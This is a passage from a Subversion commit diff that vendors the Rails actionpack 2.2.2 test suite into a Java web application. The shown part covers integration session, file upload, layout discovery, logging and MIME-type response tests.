+    assert_equal :unauthorized, @controller.renders.first[:status]
+  end
+
+  private
+    def set_headers(value = @credentials, name = 'HTTP_AUTHORIZATION')
+      @controller.request.env[name] = value
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/integration_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/integration_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/integration_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,413 @@
+require 'abstract_unit'
+require 'action_controller/integration'
+require 'action_controller/routing'
+
+uses_mocha 'integration' do
+
+module IntegrationSessionStubbing
+  def stub_integration_session(session)
+    session.stubs(:process)
+    session.stubs(:generic_url_rewriter)
+  end
+end
+
+class SessionTest < Test::Unit::TestCase
+  include IntegrationSessionStubbing
+
+  def setup
+    @session = ActionController::Integration::Session.new
+    stub_integration_session(@session)
+  end
+
+  def test_https_bang_works_and_sets_truth_by_default
+    assert [email protected]?
+    @session.https!
+    assert @session.https?
+    @session.https! false
+    assert [email protected]?
+  end
+
+  def test_host!
+    assert_not_equal "glu.ttono.us", @session.host
+    @session.host! "rubyonrails.com"
+    assert_equal "rubyonrails.com", @session.host
+  end
+
+  def test_follow_redirect_raises_when_no_redirect
+    @session.stubs(:redirect?).returns(false)
+    assert_raise(RuntimeError) { @session.follow_redirect! }
+  end
+
+  def test_follow_redirect_calls_get_and_returns_status
+    @session.stubs(:redirect?).returns(true)
+    @session.stubs(:headers).returns({"location" => ["www.google.com"]})
+    @session.stubs(:status).returns(200)
+    @session.expects(:get)
+    assert_equal 200, @session.follow_redirect!
+  end
+
+  def test_request_via_redirect_uses_given_method
+    path = "/somepath"; args = {:id => '1'}; headers = {"X-Test-Header" => "testvalue"}
+    @session.expects(:put).with(path, args, headers)
+    @session.stubs(:redirect?).returns(false)
+    @session.request_via_redirect(:put, path, args, headers)
+  end
+
+  def test_request_via_redirect_follows_redirects
+    path = "/somepath"; args = {:id => '1'}; headers = {"X-Test-Header" => "testvalue"}
+    @session.stubs(:redirect?).returns(true, true, false)
+    @session.expects(:follow_redirect!).times(2)
+    @session.request_via_redirect(:get, path, args, headers)
+  end
+
+  def test_request_via_redirect_returns_status
+    path = "/somepath"; args = {:id => '1'}; headers = {"X-Test-Header" => "testvalue"}
+    @session.stubs(:redirect?).returns(false)
+    @session.stubs(:status).returns(200)
+    assert_equal 200, @session.request_via_redirect(:get, path, args, headers)
+  end
+
+  def test_get_via_redirect
+    path = "/somepath"; args = {:id => '1'}; headers = {"X-Test-Header" => "testvalue" }
+    @session.expects(:request_via_redirect).with(:get, path, args, headers)
+    @session.get_via_redirect(path, args, headers)
+  end
+
+  def test_post_via_redirect
+    path = "/somepath"; args = {:id => '1'}; headers = {"X-Test-Header" => "testvalue" }
+    @session.expects(:request_via_redirect).with(:post, path, args, headers)
+    @session.post_via_redirect(path, args, headers)
+  end
+
+  def test_put_via_redirect
+    path = "/somepath"; args = {:id => '1'}; headers = {"X-Test-Header" => "testvalue" }
+    @session.expects(:request_via_redirect).with(:put, path, args, headers)
+    @session.put_via_redirect(path, args, headers)
+  end
+
+  def test_delete_via_redirect
+    path = "/somepath"; args = {:id => '1'}; headers = {"X-Test-Header" => "testvalue" }
+    @session.expects(:request_via_redirect).with(:delete, path, args, headers)
+    @session.delete_via_redirect(path, args, headers)
+  end
+
+  def test_url_for_with_controller
+    options = {:action => 'show'}
+    mock_controller = mock()
+    mock_controller.expects(:url_for).with(options).returns('/show')
+    @session.stubs(:controller).returns(mock_controller)
+    assert_equal '/show', @session.url_for(options)
+  end
+
+  def test_url_for_without_controller
+    options = {:action => 'show'}
+    mock_rewriter = mock()
+    mock_rewriter.expects(:rewrite).with(options).returns('/show')
+    @session.stubs(:generic_url_rewriter).returns(mock_rewriter)
+    @session.stubs(:controller).returns(nil)
+    assert_equal '/show', @session.url_for(options)
+  end
+
+  def test_redirect_bool_with_status_in_300s
+    @session.stubs(:status).returns 301
+    assert @session.redirect?
+  end
+
+  def test_redirect_bool_with_status_in_200s
+    @session.stubs(:status).returns 200
+    assert [email protected]?
+  end
+
+  def test_get
+    path = "/index"; params = "blah"; headers = {:location => 'blah'}
+    @session.expects(:process).with(:get,path,params,headers)
+    @session.get(path,params,headers)
+  end
+
+  def test_post
+    path = "/index"; params = "blah"; headers = {:location => 'blah'}
+    @session.expects(:process).with(:post,path,params,headers)
+    @session.post(path,params,headers)
+  end
+
+  def test_put
+    path = "/index"; params = "blah"; headers = {:location => 'blah'}
+    @session.expects(:process).with(:put,path,params,headers)
+    @session.put(path,params,headers)
+  end
+
+  def test_delete
+    path = "/index"; params = "blah"; headers = {:location => 'blah'}
+    @session.expects(:process).with(:delete,path,params,headers)
+    @session.delete(path,params,headers)
+  end
+
+  def test_head
+    path = "/index"; params = "blah"; headers = {:location => 'blah'}
+    @session.expects(:process).with(:head,path,params,headers)
+    @session.head(path,params,headers)
+  end
+
+  def test_xml_http_request_get
+    path = "/index"; params = "blah"; headers = {:location => 'blah'}
+    headers_after_xhr = headers.merge(
+      "X-Requested-With" => "XMLHttpRequest",
+      "Accept"           => "text/javascript, text/html, application/xml, text/xml, */*"
+    )
+    @session.expects(:process).with(:get,path,params,headers_after_xhr)
+    @session.xml_http_request(:get,path,params,headers)
+  end
+
+  def test_xml_http_request_post
+    path = "/index"; params = "blah"; headers = {:location => 'blah'}
+    headers_after_xhr = headers.merge(
+      "X-Requested-With" => "XMLHttpRequest",
+      "Accept"           => "text/javascript, text/html, application/xml, text/xml, */*"
+    )
+    @session.expects(:process).with(:post,path,params,headers_after_xhr)
+    @session.xml_http_request(:post,path,params,headers)
+  end
+
+  def test_xml_http_request_put
+    path = "/index"; params = "blah"; headers = {:location => 'blah'}
+    headers_after_xhr = headers.merge(
+      "X-Requested-With" => "XMLHttpRequest",
+      "Accept"           => "text/javascript, text/html, application/xml, text/xml, */*"
+    )
+    @session.expects(:process).with(:put,path,params,headers_after_xhr)
+    @session.xml_http_request(:put,path,params,headers)
+  end
+
+  def test_xml_http_request_delete
+    path = "/index"; params = "blah"; headers = {:location => 'blah'}
+    headers_after_xhr = headers.merge(
+      "X-Requested-With" => "XMLHttpRequest",
+      "Accept"           => "text/javascript, text/html, application/xml, text/xml, */*"
+    )
+    @session.expects(:process).with(:delete,path,params,headers_after_xhr)
+    @session.xml_http_request(:delete,path,params,headers)
+  end
+
+  def test_xml_http_request_head
+    path = "/index"; params = "blah"; headers = {:location => 'blah'}
+    headers_after_xhr = headers.merge(
+      "X-Requested-With" => "XMLHttpRequest",
+      "Accept"           => "text/javascript, text/html, application/xml, text/xml, */*"
+    )
+    @session.expects(:process).with(:head,path,params,headers_after_xhr)
+    @session.xml_http_request(:head,path,params,headers)
+  end
+
+  def test_xml_http_request_override_accept
+    path = "/index"; params = "blah"; headers = {:location => 'blah', "Accept" => "application/xml"}
+    headers_after_xhr = headers.merge(
+      "X-Requested-With" => "XMLHttpRequest"
+    )
+    @session.expects(:process).with(:post,path,params,headers_after_xhr)
+    @session.xml_http_request(:post,path,params,headers)
+  end
+end
+
+class IntegrationTestTest < Test::Unit::TestCase
+  include IntegrationSessionStubbing
+
+  def setup
+    @test = ::ActionController::IntegrationTest.new(:default_test)
+    @test.class.stubs(:fixture_table_names).returns([])
+    @session = @test.open_session
+    stub_integration_session(@session)
+  end
+
+  def test_opens_new_session
+    @test.class.expects(:fixture_table_names).times(2).returns(['foo'])
+
+    session1 = @test.open_session { |sess| }
+    session2 = @test.open_session # implicit session
+
+    assert_equal ::ActionController::Integration::Session, session1.class
+    assert_equal ::ActionController::Integration::Session, session2.class
+    assert_not_equal session1, session2
+  end
+end
+
+# Tests that integration tests don't call Controller test methods for processing.
+# Integration tests have their own setup and teardown.
+class IntegrationTestUsesCorrectClass < ActionController::IntegrationTest
+  include IntegrationSessionStubbing
+
+  def self.fixture_table_names
+    []
+  end
+
+  def test_integration_methods_called
+    reset!
+    stub_integration_session(@integration_session)
+    %w( get post head put delete ).each do |verb|
+      assert_nothing_raised("'#{verb}' should use integration test methods") { __send__(verb, '/') }
+    end
+  end
+end
+
+class IntegrationProcessTest < ActionController::IntegrationTest
+  class IntegrationController < ActionController::Base
+    session :off
+
+    def get
+      respond_to do |format|
+        format.html { render :text => "OK", :status => 200 }
+        format.js { render :text => "JS OK", :status => 200 }
+      end
+    end
+
+    def get_with_params
+      render :text => "foo: #{params[:foo]}", :status => 200
+    end
+
+    def post
+      render :text => "Created", :status => 201
+    end
+
+    def cookie_monster
+      cookies["cookie_1"] = nil
+      cookies["cookie_3"] = "chocolate"
+      render :text => "Gone", :status => 410
+    end
+
+    def redirect
+      redirect_to :action => "get"
+    end
+  end
+
+  def test_get
+    with_test_route_set do
+      get '/get'
+      assert_equal 200, status
+      assert_equal "OK", status_message
+      assert_equal "200 OK", response.headers["Status"]
+      assert_equal ["200 OK"], headers["status"]
+      assert_response 200
+      assert_response :success
+      assert_response :ok
+      assert_equal [], response.headers["cookie"]
+      assert_equal [], headers["cookie"]
+      assert_equal({}, cookies)
+      assert_equal "OK", response.body
+      assert_kind_of HTML::Document, html_document
+      assert_equal 1, request_count
+    end
+  end
+
+  def test_post
+    with_test_route_set do
+      post '/post'
+      assert_equal 201, status
+      assert_equal "Created", status_message
+      assert_equal "201 Created", response.headers["Status"]
+      assert_equal ["201 Created"], headers["status"]
+      assert_response 201
+      assert_response :success
+      assert_response :created
+      assert_equal [], response.headers["cookie"]
+      assert_equal [], headers["cookie"]
+      assert_equal({}, cookies)
+      assert_equal "Created", response.body
+      assert_kind_of HTML::Document, html_document
+      assert_equal 1, request_count
+    end
+  end
+
+  def test_cookie_monster
+    with_test_route_set do
+      self.cookies['cookie_1'] = "sugar"
+      self.cookies['cookie_2'] = "oatmeal"
+      get '/cookie_monster'
+      assert_equal 410, status
+      assert_equal "Gone", status_message
+      assert_equal "410 Gone", response.headers["Status"]
+      assert_equal ["410 Gone"], headers["status"]
+      assert_response 410
+      assert_response :gone
+      assert_equal ["cookie_1=; path=/", "cookie_3=chocolate; path=/"], response.headers["Set-Cookie"]
+      assert_equal ["cookie_1=; path=/", "cookie_3=chocolate; path=/"], headers['set-cookie']
+      assert_equal [
+        CGI::Cookie::new("name" => "cookie_1", "value" => ""),
+        CGI::Cookie::new("name" => "cookie_3", "value" => "chocolate")
+      ], response.headers["cookie"]
+      assert_equal [], headers["cookie"]
+      assert_equal({"cookie_1"=>"", "cookie_2"=>"oatmeal", "cookie_3"=>"chocolate"}, cookies)
+      assert_equal "Gone", response.body
+    end
+  end
+
+  def test_redirect
+    with_test_route_set do
+      get '/redirect'
+      assert_equal 302, status
+      assert_equal "Found", status_message
+      assert_equal "302 Found", response.headers["Status"]
+      assert_equal ["302 Found"], headers["status"]
+      assert_response 302
+      assert_response :redirect
+      assert_response :found
+      assert_equal "<html><body>You are being <a href=\"http://www.example.com/get\">redirected</a>.</body></html>", response.body
+      assert_kind_of HTML::Document, html_document
+      assert_equal 1, request_count
+    end
+  end
+
+  def test_xml_http_request_get
+    with_test_route_set do
+      xhr :get, '/get'
+      assert_equal 200, status
+      assert_equal "OK", status_message
+      assert_equal "200 OK", response.headers["Status"]
+      assert_equal ["200 OK"], headers["status"]
+      assert_response 200
+      assert_response :success
+      assert_response :ok
+      assert_equal "JS OK", response.body
+    end
+  end
+
+  def test_get_with_query_string
+    with_test_route_set do
+      get '/get_with_params?foo=bar'
+      assert_equal '/get_with_params?foo=bar', request.env["REQUEST_URI"]
+      assert_equal '/get_with_params?foo=bar', request.request_uri
+      assert_equal nil, request.env["QUERY_STRING"]
+      assert_equal 'foo=bar', request.query_string
+      assert_equal 'bar', request.parameters['foo']
+
+      assert_equal 200, status
+      assert_equal "foo: bar", response.body
+    end
+  end
+
+  def test_get_with_parameters
+    with_test_route_set do
+      get '/get_with_params', :foo => "bar"
+      assert_equal '/get_with_params', request.env["REQUEST_URI"]
+      assert_equal '/get_with_params', request.request_uri
+      assert_equal 'foo=bar', request.env["QUERY_STRING"]
+      assert_equal 'foo=bar', request.query_string
+      assert_equal 'bar', request.parameters['foo']
+
+      assert_equal 200, status
+      assert_equal "foo: bar", response.body
+    end
+  end
+
+  private
+    def with_test_route_set
+      with_routing do |set|
+        set.draw do |map|
+          map.with_options :controller => "IntegrationProcessTest::Integration" do |c|
+            c.connect "/:action"
+          end
+        end
+        yield
+      end
+    end
+end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/integration_upload_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/integration_upload_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/integration_upload_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,43 @@
+require 'abstract_unit'
+require 'action_controller/integration'
+require 'action_controller/routing'
+
+unless defined? ApplicationController
+  class ApplicationController < ActionController::Base
+  end
+end
+
+class UploadTestController < ActionController::Base
+  session :off
+
+  def update
+    SessionUploadTest.last_request_type = ActionController::Base.param_parsers[request.content_type]
+    render :text => "got here"
+  end
+end
+
+class SessionUploadTest < ActionController::IntegrationTest
+  FILES_DIR = File.dirname(__FILE__) + '/../fixtures/multipart'
+
+  class << self
+    attr_accessor :last_request_type
+  end
+
+  # def setup
+  #   @session = ActionController::Integration::Session.new
+  # end
+  def test_post_with_upload
+    uses_mocha "test_post_with_upload" do
+      ActiveSupport::Dependencies.stubs(:load?).returns(false)
+      with_routing do |set|
+        set.draw do |map|
+          map.update 'update', :controller => "upload_test", :action => "update", :method => :post
+        end
+
+        params = { :uploaded_data => fixture_file_upload(FILES_DIR + "/mona_lisa.jpg", "image/jpg") }
+        post '/update', params, :location => 'blah'
+        assert_equal(:multipart_form, SessionUploadTest.last_request_type)
+      end
+    end
+   end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/layout_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/layout_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/layout_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,202 @@
+require 'abstract_unit'
+
+# The view_paths array must be set on Base and not LayoutTest so that LayoutTest's inherited
+# method has access to the view_paths array when looking for a layout to automatically assign.
+old_load_paths = ActionController::Base.view_paths
+ActionController::Base.view_paths = [ File.dirname(__FILE__) + '/../fixtures/layout_tests/' ]
+
+class LayoutTest < ActionController::Base
+  def self.controller_path; 'views' end
+  self.view_paths = ActionController::Base.view_paths.dup
+end
+
+# Restore view_paths to previous value
+ActionController::Base.view_paths = old_load_paths
+
+class ProductController < LayoutTest
+end
+
+class ItemController < LayoutTest
+end
+
+class ThirdPartyTemplateLibraryController < LayoutTest
+end
+
+module ControllerNameSpace
+end
+
+class ControllerNameSpace::NestedController < LayoutTest
+end
+
+class MultipleExtensions < LayoutTest
+end
+
+ActionView::Template::register_template_handler :mab,
+  lambda { |template| template.source.inspect }
+
+class LayoutAutoDiscoveryTest < Test::Unit::TestCase
+  def setup
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+
+    @request.host = "www.nextangle.com"
+  end
+
+  def test_application_layout_is_default_when_no_controller_match
+    @controller = ProductController.new
+    get :hello
+    assert_equal 'layout_test.rhtml hello.rhtml', @response.body
+  end
+
+  def test_controller_name_layout_name_match
+    @controller = ItemController.new
+    get :hello
+    assert_equal 'item.rhtml hello.rhtml', @response.body
+  end
+
+  def test_third_party_template_library_auto_discovers_layout
+    ThirdPartyTemplateLibraryController.view_paths.reload!
+    @controller = ThirdPartyTemplateLibraryController.new
+    get :hello
+    assert_equal 'layouts/third_party_template_library', @controller.active_layout
+    assert_equal 'layouts/third_party_template_library', @response.layout
+    assert_response :success
+    assert_equal 'Mab', @response.body
+  end
+
+  def test_namespaced_controllers_auto_detect_layouts
+    @controller = ControllerNameSpace::NestedController.new
+    get :hello
+    assert_equal 'layouts/controller_name_space/nested', @controller.active_layout
+    assert_equal 'controller_name_space/nested.rhtml hello.rhtml', @response.body
+  end
+
+  def test_namespaced_controllers_auto_detect_layouts
+    @controller = MultipleExtensions.new
+    get :hello
+    assert_equal 'layouts/multiple_extensions', @controller.active_layout
+    assert_equal 'multiple_extensions.html.erb hello.rhtml', @response.body.strip
+  end
+end
+
+class DefaultLayoutController < LayoutTest
+end
+
+class HasOwnLayoutController < LayoutTest
+  layout 'item'
+end
+
+class SetsLayoutInRenderController < LayoutTest
+  def hello
+    render :layout => 'third_party_template_library'
+  end
+end
+
+class RendersNoLayoutController < LayoutTest
+  def hello
+    render :layout => false
+  end
+end
+
+class LayoutSetInResponseTest < Test::Unit::TestCase
+  def setup
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+  end
+
+  def test_layout_set_when_using_default_layout
+    @controller = DefaultLayoutController.new
+    get :hello
+    assert_equal 'layouts/layout_test', @response.layout
+  end
+
+  def test_layout_set_when_set_in_controller
+    @controller = HasOwnLayoutController.new
+    get :hello
+    assert_equal 'layouts/item', @response.layout
+  end
+
+  def test_layout_set_when_using_render
+    @controller = SetsLayoutInRenderController.new
+    get :hello
+    assert_equal 'layouts/third_party_template_library', @response.layout
+  end
+
+  def test_layout_is_not_set_when_none_rendered
+    @controller = RendersNoLayoutController.new
+    get :hello
+    assert_nil @response.layout
+  end
+
+  def test_exempt_from_layout_honored_by_render_template
+    ActionController::Base.exempt_from_layout :rhtml
+    @controller = RenderWithTemplateOptionController.new
+
+    get :hello
+    assert_equal "alt/hello.rhtml", @response.body.strip
+
+  ensure
+    ActionController::Base.exempt_from_layout.delete(/\.rhtml$/)
+  end
+end
+
+class RenderWithTemplateOptionController < LayoutTest
+  def hello
+    render :template => 'alt/hello'
+  end
+end
+
+class SetsNonExistentLayoutFile < LayoutTest
+  layout "nofile.rhtml"
+end
+
+class LayoutExceptionRaised < Test::Unit::TestCase
+  def setup
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+  end
+
+  def test_exception_raised_when_layout_file_not_found
+    @controller = SetsNonExistentLayoutFile.new
+    get :hello
+    @response.template.class.module_eval { attr_accessor :exception }
+    assert_equal ActionView::MissingTemplate, @response.template.exception.class
+  end
+end
+
+class LayoutStatusIsRendered < LayoutTest
+  def hello
+    render :status => 401
+  end
+end
+
+class LayoutStatusIsRenderedTest < Test::Unit::TestCase
+  def setup
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+  end
+
+  def test_layout_status_is_rendered
+    @controller = LayoutStatusIsRendered.new
+    get :hello
+    assert_response 401
+  end
+end
+
+class LayoutSymlinkedTest < LayoutTest
+  layout "symlinked/symlinked_layout"
+end
+
+class LayoutSymlinkedIsRenderedTest < Test::Unit::TestCase
+  def setup
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+  end
+
+  def test_symlinked_layout_is_rendered
+    @controller = LayoutSymlinkedTest.new
+    get :hello
+    assert_response 200
+    assert_equal "layouts/symlinked/symlinked_layout", @response.layout
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/logging_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/logging_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/logging_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,46 @@
+require 'abstract_unit'
+
+class LoggingController < ActionController::Base
+  def show
+    render :nothing => true
+  end
+end
+
+class LoggingTest < ActionController::TestCase
+  tests LoggingController
+
+  class MockLogger
+    attr_reader :logged
+    
+    def method_missing(method, *args)
+      @logged ||= []
+      @logged << args.first
+    end
+  end
+
+  setup :set_logger
+
+  def test_logging_without_parameters
+    get :show
+    assert_equal 2, logs.size
+    assert_nil logs.detect {|l| l =~ /Parameters/ }
+  end
+
+  def test_logging_with_parameters
+    get :show, :id => 10
+    assert_equal 3, logs.size
+
+    params = logs.detect {|l| l =~ /Parameters/ }
+    assert_equal 'Parameters: {"id"=>"10"}', params
+  end
+  
+  private
+
+  def set_logger
+    @controller.logger = MockLogger.new
+  end
+  
+  def logs
+    @logs ||= @controller.logger.logged.compact.map {|l| l.strip}
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/mime_responds_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/mime_responds_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/mime_responds_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,540 @@
+require 'abstract_unit'
+
+class RespondToController < ActionController::Base
+  layout :set_layout
+
+  def html_xml_or_rss
+    respond_to do |type|
+      type.html { render :text => "HTML"    }
+      type.xml  { render :text => "XML"     }
+      type.rss  { render :text => "RSS"     }
+      type.all  { render :text => "Nothing" }
+    end
+  end
+
+  def js_or_html
+    respond_to do |type|
+      type.html { render :text => "HTML"    }
+      type.js   { render :text => "JS"      }
+      type.all  { render :text => "Nothing" }
+    end
+  end
+
+  def json_or_yaml
+    respond_to do |type|
+      type.json { render :text => "JSON" }
+      type.yaml { render :text => "YAML" }
+    end
+  end
+
+  def html_or_xml
+    respond_to do |type|
+      type.html { render :text => "HTML"    }
+      type.xml  { render :text => "XML"     }
+      type.all  { render :text => "Nothing" }
+    end
+  end
+
+  def forced_xml
+    request.format = :xml
+
+    respond_to do |type|
+      type.html { render :text => "HTML"    }
+      type.xml  { render :text => "XML"     }
+    end
+  end
+
+  def just_xml
+    respond_to do |type|
+      type.xml  { render :text => "XML" }
+    end
+  end
+
+  def using_defaults
+    respond_to do |type|
+      type.html
+      type.js
+      type.xml
+    end
+  end
+
+  def using_defaults_with_type_list
+    respond_to(:html, :js, :xml)
+  end
+
+  def made_for_content_type
+    respond_to do |type|
+      type.rss  { render :text => "RSS"  }
+      type.atom { render :text => "ATOM" }
+      type.all  { render :text => "Nothing" }
+    end
+  end
+
+  def custom_type_handling
+    respond_to do |type|
+      type.html { render :text => "HTML"    }
+      type.custom("application/crazy-xml")  { render :text => "Crazy XML"  }
+      type.all  { render :text => "Nothing" }
+    end
+  end
+
+  def custom_constant_handling
+    Mime::Type.register("text/x-mobile", :mobile)
+
+    respond_to do |type|
+      type.html   { render :text => "HTML"   }
+      type.mobile { render :text => "Mobile" }
+    end
+  ensure
+    Mime.module_eval { remove_const :MOBILE if const_defined?(:MOBILE) }
+  end
+
+  def custom_constant_handling_without_block
+    Mime::Type.register("text/x-mobile", :mobile)
+
+    respond_to do |type|
+      type.html   { render :text => "HTML"   }
+      type.mobile
+    end
+
+  ensure
+    Mime.module_eval { remove_const :MOBILE if const_defined?(:MOBILE) }
+  end
+
+  def handle_any
+    respond_to do |type|
+      type.html { render :text => "HTML" }
+      type.any(:js, :xml) { render :text => "Either JS or XML" }
+    end
+  end
+
+  def handle_any_any
+    respond_to do |type|
+      type.html { render :text => 'HTML' }
+      type.any { render :text => 'Whatever you ask for, I got it' }
+    end
+  end
+
+  def all_types_with_layout
+    respond_to do |type|
+      type.html
+      type.js
+    end
+  end
+
+  def iphone_with_html_response_type
+    Mime::Type.register_alias("text/html", :iphone)
+    request.format = :iphone if request.env["HTTP_ACCEPT"] == "text/iphone"
+
+    respond_to do |type|
+      type.html   { @type = "Firefox" }
+      type.iphone { @type = "iPhone"  }
+    end
+
+  ensure
+    Mime.module_eval { remove_const :IPHONE if const_defined?(:IPHONE) }
+  end
+
+  def iphone_with_html_response_type_without_layout
+    Mime::Type.register_alias("text/html", :iphone)
+    request.format = "iphone" if request.env["HTTP_ACCEPT"] == "text/iphone"
+
+    respond_to do |type|
+      type.html   { @type = "Firefox"; render :action => "iphone_with_html_response_type" }
+      type.iphone { @type = "iPhone" ; render :action => "iphone_with_html_response_type" }
+    end
+
+  ensure
+    Mime.module_eval { remove_const :IPHONE if const_defined?(:IPHONE) }
+  end
+
+  def rescue_action(e)
+    raise
+  end
+
+  protected
+    def set_layout
+      if ["all_types_with_layout", "iphone_with_html_response_type"].include?(action_name)
+        "respond_to/layouts/standard"
+      elsif action_name == "iphone_with_html_response_type_without_layout"
+        "respond_to/layouts/missing"
+      end
+    end
+end
+
+class MimeControllerTest < Test::Unit::TestCase
+  def setup
+    ActionController::Base.use_accept_header = true
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+
+    @controller = RespondToController.new
+    @request.host = "www.example.com"
+  end
+
+  def teardown
+    ActionController::Base.use_accept_header = false
+  end
+
+  def test_html
+    @request.accept = "text/html"
+    get :js_or_html
+    assert_equal 'HTML', @response.body
+
+    get :html_or_xml
+    assert_equal 'HTML', @response.body
+
+    get :just_xml
+    assert_response 406
+  end
+
+  def test_all
+    @request.accept = "*/*"
+    get :js_or_html
+    assert_equal 'HTML', @response.body # js is not part of all
+
+    get :html_or_xml
+    assert_equal 'HTML', @response.body
+
+    get :just_xml
+    assert_equal 'XML', @response.body
+  end
+
+  def test_xml
+    @request.accept = "application/xml"
+    get :html_xml_or_rss
+    assert_equal 'XML', @response.body
+  end
+
+  def test_js_or_html
+    @request.accept = "text/javascript, text/html"
+    get :js_or_html
+    assert_equal 'JS', @response.body
+
+    get :html_or_xml
+    assert_equal 'HTML', @response.body
+
+    get :just_xml
+    assert_response 406
+  end
+
+  def test_json_or_yaml
+    get :json_or_yaml
+    assert_equal 'JSON', @response.body
+
+    get :json_or_yaml, :format => 'json'
+    assert_equal 'JSON', @response.body
+
+    get :json_or_yaml, :format => 'yaml'
+    assert_equal 'YAML', @response.body
+
+    { 'YAML' => %w(text/yaml),
+      'JSON' => %w(application/json text/x-json)
+    }.each do |body, content_types|
+      content_types.each do |content_type|
+        @request.accept = content_type
+        get :json_or_yaml
+        assert_equal body, @response.body
+      end
+    end
+  end
+
+  def test_js_or_anything
+    @request.accept = "text/javascript, */*"
+    get :js_or_html
+    assert_equal 'JS', @response.body
+
+    get :html_or_xml
+    assert_equal 'HTML', @response.body
+
+    get :just_xml
+    assert_equal 'XML', @response.body
+  end
+
+  def test_using_defaults
+    @request.accept = "*/*"
+    get :using_defaults
+    assert_equal "text/html", @response.content_type
+    assert_equal 'Hello world!', @response.body
+
+    @request.accept = "text/javascript"
+    get :using_defaults
+    assert_equal "text/javascript", @response.content_type
+    assert_equal '$("body").visualEffect("highlight");', @response.body
+
+    @request.accept = "application/xml"
+    get :using_defaults
+    assert_equal "application/xml", @response.content_type
+    assert_equal "<p>Hello world!</p>\n", @response.body
+  end
+
+  def test_using_defaults_with_type_list
+    @request.accept = "*/*"
+    get :using_defaults_with_type_list
+    assert_equal "text/html", @response.content_type
+    assert_equal 'Hello world!', @response.body
+
+    @request.accept = "text/javascript"
+    get :using_defaults_with_type_list
+    assert_equal "text/javascript", @response.content_type
+    assert_equal '$("body").visualEffect("highlight");', @response.body
+
+    @request.accept = "application/xml"
+    get :using_defaults_with_type_list
+    assert_equal "application/xml", @response.content_type
+    assert_equal "<p>Hello world!</p>\n", @response.body
+  end
+
+  def test_with_atom_content_type
+    @request.env["CONTENT_TYPE"] = "application/atom+xml"
+    get :made_for_content_type
+    assert_equal "ATOM", @response.body
+  end
+
+  def test_with_rss_content_type
+    @request.env["CONTENT_TYPE"] = "application/rss+xml"
+    get :made_for_content_type
+    assert_equal "RSS", @response.body
+  end
+
+  def test_synonyms
+    @request.accept = "application/javascript"
+    get :js_or_html
+    assert_equal 'JS', @response.body
+
+    @request.accept = "application/x-xml"
+    get :html_xml_or_rss
+    assert_equal "XML", @response.body
+  end
+
+  def test_custom_types
+    @request.accept = "application/crazy-xml"
+    get :custom_type_handling
+    assert_equal "application/crazy-xml", @response.content_type
+    assert_equal 'Crazy XML', @response.body
+
+    @request.accept = "text/html"
+    get :custom_type_handling
+    assert_equal "text/html", @response.content_type
+    assert_equal 'HTML', @response.body
+  end
+
+  def test_xhtml_alias
+    @request.accept = "application/xhtml+xml,application/xml"
+    get :html_or_xml
+    assert_equal 'HTML', @response.body
+  end
+
+  def test_firefox_simulation
+    @request.accept = "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"
+    get :html_or_xml
+    assert_equal 'HTML', @response.body
+  end
+
+  def test_handle_any
+    @request.accept = "*/*"
+    get :handle_any
+    assert_equal 'HTML', @response.body
+
+    @request.accept = "text/javascript"
+    get :handle_any
+    assert_equal 'Either JS or XML', @response.body
+
+    @request.accept = "text/xml"
+    get :handle_any
+    assert_equal 'Either JS or XML', @response.body
+  end
+
+  def test_handle_any_any
+    @request.accept = "*/*"
+    get :handle_any_any
+    assert_equal 'HTML', @response.body
+  end
+
+  def test_handle_any_any_parameter_format
+    get :handle_any_any, {:format=>'html'}
+    assert_equal 'HTML', @response.body
+  end
+
+  def test_handle_any_any_explicit_html
+    @request.accept = "text/html"
+    get :handle_any_any
+    assert_equal 'HTML', @response.body
+  end
+
+  def test_handle_any_any_javascript
+    @request.accept = "text/javascript"
+    get :handle_any_any
+    assert_equal 'Whatever you ask for, I got it', @response.body
+  end
+
+  def test_handle_any_any_xml
+    @request.accept = "text/xml"
+    get :handle_any_any
